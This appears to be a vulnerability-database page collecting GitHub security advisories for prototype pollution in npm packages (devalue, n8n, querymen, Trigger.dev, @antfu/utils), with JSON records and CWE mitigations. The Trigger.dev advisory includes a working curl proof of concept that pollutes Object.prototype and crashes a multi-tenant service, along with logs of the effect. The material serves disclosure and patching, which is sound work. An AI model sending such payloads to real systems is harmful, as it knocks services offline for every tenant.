                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "devalue"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T16:38:15Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "In some circumstances, `devalue.parse` and `devalue.unflatten` could emit objects with `__proto__` own properties. This in and of itself is not a security vulnerability (and is possible with, for example, `JSON.parse` as well), but it can result in prototype injection if _downstream_ code handles it incorrectly:\n\n```ts\nconst result = devalue.parse(/* input creating an object with a __proto__ property */);\nconst target = {};\nObject.assign(target, result); // target\u0027s prototype is now polluted\n```",
  "id": "GHSA-mwv9-gp5h-frr4",
  "modified": "2026-06-26T20:30:20Z",
  "published": "2026-03-12T16:38:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-mwv9-gp5h-frr4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/commit/87c1f3ce3759765a061cfe34843ecc4b0711ba8d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sveltejs/devalue"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sveltejs/devalue/releases/tag/v5.6.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sveltejs devalue\u0027s `devalue.parse` and `devalue.unflatten` emit objects with `__proto__` own properties"
}

GHSA-MXRG-77HM-89HV

Vulnerability from github – Published: 2026-03-26 16:41 – Updated: 2026-03-26 16:41

Summary

n8n: Prototype Pollution in XML and GSuiteAdmin node parameters lead to RCE

Details

Impact

An authenticated user with permission to create or modify workflows could exploit a prototype pollution vulnerability in the GSuiteAdmin node. By supplying a crafted parameter as part of node configuration, an attacker could write attacker-controlled values onto Object.prototype. An attacker could use this prototype pollution to achieve remote code execution on the n8n instance.

Patches

The issue has been fixed in n8n versions 2.14.1, 2.13.3, and 1.123.27. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Limit workflow creation and editing permissions to fully trusted users only. - Disable the XML node by adding n8n-nodes-base.xml to the NODES_EXCLUDE environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.14.0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.14.0"
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.0"
            },
            {
              "fixed": "2.13.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T16:41:01Z",
    "nvd_published_at": "2026-03-25T18:16:32Z",
    "severity": "CRITICAL"
  },
  "details": "## Impact\nAn authenticated user with permission to create or modify workflows could exploit a prototype pollution vulnerability in the GSuiteAdmin node. By supplying a crafted parameter as part of node configuration, an attacker could write attacker-controlled values onto `Object.prototype`. An attacker could use this prototype pollution to achieve remote code execution on the n8n instance.\n\n## Patches\nThe issue has been fixed in n8n versions 2.14.1, 2.13.3, and 1.123.27. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Disable the XML node by adding `n8n-nodes-base.xml` to the `NODES_EXCLUDE` environment variable.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-mxrg-77hm-89hv",
  "modified": "2026-03-26T16:41:01Z",
  "published": "2026-03-26T16:41:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-mxrg-77hm-89hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33696"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n: Prototype Pollution in XML and GSuiteAdmin node parameters lead to RCE"
}

GHSA-P23C-P8W2-WW5V

Vulnerability from github – Published: 2022-06-18 00:00 – Updated: 2022-06-20 22:27

Summary

Prototype Pollution in querymen

Details

All versions of package querymen are vulnerable to Prototype Pollution if the parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. Note: This vulnerability derives from an incomplete fix of CVE-2020-7600.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "querymen"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-20T22:27:37Z",
    "nvd_published_at": "2022-06-17T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package querymen are vulnerable to Prototype Pollution if the parameters of exported function handler(type, name, fn) can be controlled by users without any sanitization. Note: This vulnerability derives from an incomplete fix of [CVE-2020-7600](https://security.snyk.io/vuln/SNYK-JS-QUERYMEN-559867).",
  "id": "GHSA-p23c-p8w2-ww5v",
  "modified": "2022-06-20T22:27:37Z",
  "published": "2022-06-18T00:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25871"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-QUERYMEN-2391488"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in querymen"
}

GHSA-P28V-F755-9QRG

Vulnerability from github – Published: 2026-08-13 20:54 – Updated: 2026-08-13 20:54

Summary

Trigger.dev: Prototype pollution via run metadata operations → process-wide cross-tenant DoS

Details

Summary

The run-metadata update endpoint PUT /api/v1/runs/:runId/metadata applies client-supplied "operations" by passing the attacker-controlled operation.key straight into new JSONHeroPath(operation.key).set(newMetadata, value) (packages/core/src/v3/runMetadata/operations.ts:22-23), with no prototype-pollution guard (@jsonhero/path@^1.0.21 does not reject __proto__/constructor/prototype).

A request with key: "$.__proto__.polluted" sets Object.prototype.polluted in the webapp process. Because every plain object then inherits that property, it corrupts unrelated code process-wide and across tenants — including Prisma query building and the Prometheus metrics client — causing query failures, broken authentication for other tenants' workers, and an uncaughtException (denial of service). Only a normal, low-privilege environment API key is required (one request).

Severity

A single request from any holder of a normal environment API key contaminates Object.prototype in the shared webapp process, breaking other tenants' workers (scope change) and degrading/ crashing the process (high availability impact). Prototype pollution is also a primitive for further gadget chains (integrity/confidentiality).

Affected versions

Introduced in commit 34f8bd588 ("Add ability to update parent and root run metadata from children", PR #1563, 2025-01-08) — the JSONHeroPath(operation.key).set() sink is present from the first commit of operations.ts. SDK was at 3.3.8 at that time.
Still present at HEAD (SDK 4.5.0-rc.7); operations.ts unchanged since 2025-05, and @jsonhero/path is pinned at ^1.0.21 (no proto-guard) throughout.
Affected range: >= v3.3.8 (metadata operations API) through v4-beta / current v4.x — fixed: 4.5.6.

Root cause

packages/core/src/v3/runMetadata/operations.ts — applyMetadataOperations() builds a path from the untrusted operation.key and writes to it, for every operation type (set, append, increment, …):

const path = new JSONHeroPath(operation.key);   // operation.key fully attacker-controlled
path.set(newMetadata, operation.value);         // no __proto__/constructor/prototype rejection

The request schema (UpdateMetadataRequestBody) types key as a plain string with no validation, and @jsonhero/path@1.0.21 walks __proto__ as an ordinary segment → the assignment lands on Object.prototype.

Proof of Concept

Self-host ghcr.io/triggerdotdev/trigger.dev:v4-beta. Authenticated with a normal environment API key (tr_dev_…) and any run id of that environment.

curl -X PUT "http://localhost:8030/api/v1/runs/run_cmqr2bsyo00013js2twwhdsfu/metadata" \
  -H "Authorization: Bearer tr_dev_<env_key>" -H "Content-Type: application/json" \
  --data '{"operations":[{"type":"set","key":"$.__proto__.polluted","value":"PWNED"}]}'

Result — Object.prototype.polluted = "PWNED" process-wide. Observed in the webapp logs:

The request's own query is corrupted — polluted:"PWNED" injected into every object Prisma enumerates: prisma.taskRun.updateMany({ where:{ id:"…", metadataVersion:2, polluted:"PWNED" }, data:{ …, metadataVersion:{ increment:1, polluted:"PWNED" }, polluted:"PWNED" }, polluted:"PWNED" }) -> Unknown argument `polluted`
Cross-tenant authentication break — the next request from a different client (a worker's POST /engine/v1/dev/dequeue) fails inside findEnvironmentByApiKey: prisma.runtimeEnvironment.findFirst({ where:{ apiKey:"…", polluted:"PWNED" }, include:{ project:true, …, polluted:"PWNED" } }) -> PrismaClientValidationError i.e. one tenant's request breaks authentication for other tenants' workers → their jobs stop being dequeued/processed.
Denial of service — full process crash. The uncaughtException in prom-client (Error: Added label "polluted" is not included in initial labelset: [ 'kind' ]) crashes the webapp process. Demonstrated with a second tenant: Tenant B (a different org/env, with its own API key) had a working request (POST /engine/v1/dev/dequeue → HTTP 400, auth OK) before the attack; immediately after Tenant A's single attack request, B's request returned HTTP 000 (no response) — the whole multi-tenant webapp was down. Logs show the crash at 20:53:41 and the process auto-restarting ~3s later (FairQueue/ScheduleEngine started). Repeating the attack in a loop yields a crash-loop = sustained DoS for all tenants.

(Note: the metadata endpoint itself swallows the Prisma failure with ignoreError:true and still returns HTTP 200 — the damage is the process-wide contamination observed in the logs, not the endpoint's status code.)

Impact

A low-privilege caller (one normal environment API key, one request) pollutes Object.prototype in the shared multi-tenant webapp process, causing:

Full cross-tenant denial of service — the resulting uncaughtException crashes the webapp process, taking the service down for all tenants (demonstrated: a second tenant's request returned HTTP 000 immediately after the attack). Repeating the request produces a crash-loop / sustained DoS. Even without the crash, contaminated Prisma queries break other tenants' worker authentication, halting job processing.
A prototype-pollution primitive usable for further gadget chains (auth/logic bypass, etc.).

Suggested remediation

Reject dangerous path segments in operation.key before building the path — block __proto__, constructor, prototype (and validate the $.-rooted JSONHero path shape).
Build metadata on a null-prototype object (Object.create(null)) and/or use a pollution-safe setter, so __proto__ cannot reach Object.prototype.
Upgrade/replace @jsonhero/path for a version that is prototype-pollution safe, or wrap its .set() with a guard.

Severity

8.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@trigger.dev/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.8"
            },
            {
              "fixed": "4.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-13T20:54:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe run-metadata update endpoint `PUT /api/v1/runs/:runId/metadata` applies client-supplied\n\"operations\" by passing the **attacker-controlled `operation.key`** straight into\n`new JSONHeroPath(operation.key).set(newMetadata, value)`\n(`packages/core/src/v3/runMetadata/operations.ts:22-23`), with **no prototype-pollution guard**\n(`@jsonhero/path@^1.0.21` does not reject `__proto__`/`constructor`/`prototype`).\n\nA request with `key: \"$.__proto__.polluted\"` sets **`Object.prototype.polluted`** in the webapp\nprocess. Because every plain object then inherits that property, it corrupts unrelated code\n**process-wide and across tenants** \u2014 including Prisma query building and the Prometheus metrics\nclient \u2014 causing query failures, **broken authentication for other tenants\u0027 workers**, and an\n`uncaughtException` (denial of service). Only a normal, low-privilege environment API key is\nrequired (one request).\n\n## Severity\n\nA single request from any holder of a normal environment API key contaminates `Object.prototype`\nin the shared webapp process, breaking other tenants\u0027 workers (scope change) and degrading/\ncrashing the process (high availability impact). Prototype pollution is also a primitive for\nfurther gadget chains (integrity/confidentiality).\n\n## Affected versions\n\n- **Introduced** in commit `34f8bd588` (\"Add ability to update parent and root run metadata from\n  children\", PR #1563, 2025-01-08) \u2014 the `JSONHeroPath(operation.key).set()` sink is present from\n  the first commit of `operations.ts`. SDK was at `3.3.8` at that time.\n- **Still present at HEAD** (SDK `4.5.0-rc.7`); `operations.ts` unchanged since 2025-05, and\n  `@jsonhero/path` is pinned at `^1.0.21` (no proto-guard) throughout.\n- **Affected range:** `\u003e= v3.3.8` (metadata operations API) through `v4-beta` / current v4.x \u2014\n  **fixed: 4.5.6**.\n\n## Root cause\n\n`packages/core/src/v3/runMetadata/operations.ts` \u2014 `applyMetadataOperations()` builds a path from\nthe **untrusted** `operation.key` and writes to it, for every operation type (`set`, `append`,\n`increment`, \u2026):\n\n```ts\nconst path = new JSONHeroPath(operation.key);   // operation.key fully attacker-controlled\npath.set(newMetadata, operation.value);         // no __proto__/constructor/prototype rejection\n```\n\nThe request schema (`UpdateMetadataRequestBody`) types `key` as a plain string with no validation,\nand `@jsonhero/path@1.0.21` walks `__proto__` as an ordinary segment \u2192 the assignment lands on\n`Object.prototype`.\n\n## Proof of Concept\n\nSelf-host `ghcr.io/triggerdotdev/trigger.dev:v4-beta`. Authenticated with a **normal environment\nAPI key** (`tr_dev_\u2026`) and any run id of that environment.\n\n```bash\ncurl -X PUT \"http://localhost:8030/api/v1/runs/run_cmqr2bsyo00013js2twwhdsfu/metadata\" \\\n  -H \"Authorization: Bearer tr_dev_\u003cenv_key\u003e\" -H \"Content-Type: application/json\" \\\n  --data \u0027{\"operations\":[{\"type\":\"set\",\"key\":\"$.__proto__.polluted\",\"value\":\"PWNED\"}]}\u0027\n```\n\n**Result \u2014 `Object.prototype.polluted = \"PWNED\"` process-wide.** Observed in the webapp logs:\n\n1. **The request\u0027s own query is corrupted** \u2014 `polluted:\"PWNED\"` injected into every object Prisma\n   enumerates:\n   ```\n   prisma.taskRun.updateMany({ where:{ id:\"\u2026\", metadataVersion:2, polluted:\"PWNED\" },\n     data:{ \u2026, metadataVersion:{ increment:1, polluted:\"PWNED\" }, polluted:\"PWNED\" }, polluted:\"PWNED\" })\n   -\u003e Unknown argument `polluted`\n   ```\n2. **Cross-tenant authentication break** \u2014 the *next* request from a different client (a worker\u0027s\n   `POST /engine/v1/dev/dequeue`) fails inside `findEnvironmentByApiKey`:\n   ```\n   prisma.runtimeEnvironment.findFirst({ where:{ apiKey:\"\u2026\", polluted:\"PWNED\" },\n     include:{ project:true, \u2026, polluted:\"PWNED\" } })  -\u003e PrismaClientValidationError\n   ```\n   i.e. one tenant\u0027s request **breaks authentication for other tenants\u0027 workers** \u2192 their jobs stop\n   being dequeued/processed.\n3. **Denial of service \u2014 full process crash.** The `uncaughtException` in prom-client\n   (`Error: Added label \"polluted\" is not included in initial labelset: [ \u0027kind\u0027 ]`) **crashes the\n   webapp process**. Demonstrated with a second tenant: Tenant B (a *different* org/env, with its\n   own API key) had a working request (`POST /engine/v1/dev/dequeue` \u2192 HTTP 400, auth OK) **before**\n   the attack; **immediately after Tenant A\u0027s single attack request, B\u0027s request returned HTTP 000\n   (no response) \u2014 the whole multi-tenant webapp was down**. Logs show the crash at 20:53:41 and the\n   process auto-restarting ~3s later (`FairQueue/ScheduleEngine started`). Repeating the attack in a\n   loop yields a **crash-loop = sustained DoS for all tenants**.\n\n*(Note: the metadata endpoint itself swallows the Prisma failure with `ignoreError:true` and still\nreturns HTTP 200 \u2014 the damage is the process-wide contamination observed in the logs, not the\nendpoint\u0027s status code.)*\n\n## Impact\n\nA low-privilege caller (one normal environment API key, one request) pollutes `Object.prototype`\nin the shared multi-tenant webapp process, causing:\n\n- **Full cross-tenant denial of service** \u2014 the resulting `uncaughtException` **crashes the webapp\n  process**, taking the service down for **all tenants** (demonstrated: a second tenant\u0027s request\n  returned HTTP 000 immediately after the attack). Repeating the request produces a **crash-loop /\n  sustained DoS**. Even without the crash, contaminated Prisma queries break other tenants\u0027 worker\n  authentication, halting job processing.\n- **A prototype-pollution primitive** usable for further gadget chains (auth/logic bypass, etc.).\n\n## Suggested remediation\n\n1. **Reject dangerous path segments** in `operation.key` before building the path \u2014 block\n   `__proto__`, `constructor`, `prototype` (and validate the `$.`-rooted JSONHero path shape).\n2. **Build metadata on a null-prototype object** (`Object.create(null)`) and/or use a\n   pollution-safe setter, so `__proto__` cannot reach `Object.prototype`.\n3. Upgrade/replace `@jsonhero/path` for a version that is prototype-pollution safe, or wrap its\n   `.set()` with a guard.",
  "id": "GHSA-p28v-f755-9qrg",
  "modified": "2026-08-13T20:54:11Z",
  "published": "2026-08-13T20:54:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-p28v-f755-9qrg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/pull/4316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/triggerdotdev/trigger.dev"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Trigger.dev: Prototype pollution via run metadata operations \u2192 process-wide cross-tenant DoS"
}

GHSA-P2FH-2H23-6GRG

Vulnerability from github – Published: 2023-05-30 12:30 – Updated: 2023-06-02 17:11

Summary

antfu/utils vulnerable to prototype pollution

Details

Prototype Pollution in GitHub repository antfu/utils prior to 0.7.3.

Severity

5.4 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@antfu/utils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-2972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-02T17:11:18Z",
    "nvd_published_at": "2023-05-30T11:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Prototype Pollution in GitHub repository antfu/utils prior to 0.7.3.",
  "id": "GHSA-p2fh-2h23-6grg",
  "modified": "2023-06-02T17:11:18Z",
  "published": "2023-05-30T12:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2972"
    },
    {
      "type": "WEB",
      "url": "https://github.com/antfu/utils/commit/7f8b16c6181c988bdb96613fbb2533b345f68682"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/antfu/utils"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/009f1cd9-401c-49a7-bd08-be35cff6faef"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "antfu/utils vulnerable to prototype pollution"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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